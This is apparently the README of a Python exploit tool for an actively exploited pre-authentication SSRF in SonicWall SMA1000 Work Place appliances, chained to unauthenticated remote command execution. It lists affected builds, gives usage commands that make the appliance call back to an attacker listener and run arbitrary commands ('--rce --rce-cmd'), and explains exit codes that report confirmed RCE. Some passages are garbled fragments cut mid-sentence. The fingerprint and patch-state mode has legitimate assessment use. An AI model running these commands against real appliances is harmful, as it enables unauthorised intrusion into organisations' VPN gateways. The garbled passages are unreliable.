
Ferramenta Python de arquivo único que faz fingerprint de appliances SonicWall SMA1000 Work Place, sonda e confirma o SSRF pré-autenticação (CVE-2026-83548) via captura out-of-band e encadeia para RCE.
Ferramenta de ficheiro único (Python 3, apenas biblioteca padrão, zero dependências) para avaliar e explorar a SSRF de pré-autenticação na interface Work Place dos appliances SonicWall SMA1000 (6210 / 7210 / 8200v), incluindo uma cadeia oportunista para RCE não autenticado via CVE-2026-83549.
| CVE | CVE-2026-83548 (SSRF, CWE-918/CWE-441), CVSS 10.0 |
| Cadeia | CVE-2026-83549 — injeção de comandos do SO no AMC (pós-autenticação), contornada através da SSRF |
| Mecanismo | A interface Work Place comporta-se como um proxy de encaminhamento não intencional: o appliance encaminha pedidos manipulados para recursos internos (incluindo o AMC) usando a sua própria posição privilegiada na rede, sem exigir autenticação em nenhuma fase |
| Afetados | SMA1000 ≤ 12.4.3-03453 e ≤ 12.5.0-02835 |
| Corrigido | 12.4.3-03526 / 12.5.0-02952 (aviso SonicWall SNWLID-2026-0016) |
| Estado | Explorada ativamente em ambiente real; CISA KEV desde 2026-09-02; sem solução alternativa — apenas correção |
Server: SMA/*, recursos __extraweb__, versão a partir de links
de ajuda; classificação face às builds corrigidas (PATCHED / AFFECTED /
POTENTIALLY_AFFECTED / NOT_SMA1000)./cgi-bin/ e a forma de
proxy de encaminhamento "URI absoluto como caminho") e pontua anomalias face a uma linha de base:
alteração do código de estado, diferença de latência, novos cabeçalhos de resposta, diferença no corpo.
Vetores fornecidos pelo operador são aceites via --vector (repetível).# Fingerprint / patch-state only (read-only)
python3 exploit_cve_2026_83548.py --fingerprint-only vpn.example.com
# Full pass: vector probing + out-of-band SSRF confirmation
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
--oob-timeout 5 vpn.example.com
# + RCE chain attempt (default command: id)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> --rce \
--rce-cmd 'id' vpn.example.com
# Known vector (bypasses the default candidate set), JSON report
python3 exploit_cve_2026_83548.py --json --skip-probe \
--vector 'POST:/cgi-bin/:url={T}' --listen --attacker-ip <your_visible_IP> \
-k -t 10 203.0.113.10
# Multiple targets in sequence (exit code = worst verdict)
python3 exploit_cve_2026_83548.py --listen --attacker-ip <your_visible_IP> \
vpn-a.example.com vpn-b.example.com
--attacker-ip — o IP a partir do qual o appliance deve conseguir alcançar o seu
listener de captura (127.0.0.1 para verificações locais; um endereço visível na rede mais
encaminhamento de portas para remoto). Sem ele, a ferramenta adivinha um IP local, o que
muitas vezes não funciona em ambientes de containers/VPN.
| Código | Significado |
|---|---|
| 0 | corrigido / não afetado |
| 1 | afetado por versão, ou SSRF confirmado, ou linha de firmware afetada com build exato indeterminado |
| 2 | RCE não autenticado confirmado (cadeia bem-sucedida) |
| 3 | o alvo não é um portal SMA1000 Work Place |
| 4 | erro de conexão/outro |
12.5.0) externamente, não o build exato do hotfix — o resultado comum
é POTENTIALLY_AFFECTED, o que exige confirmar o build no
próprio appliance.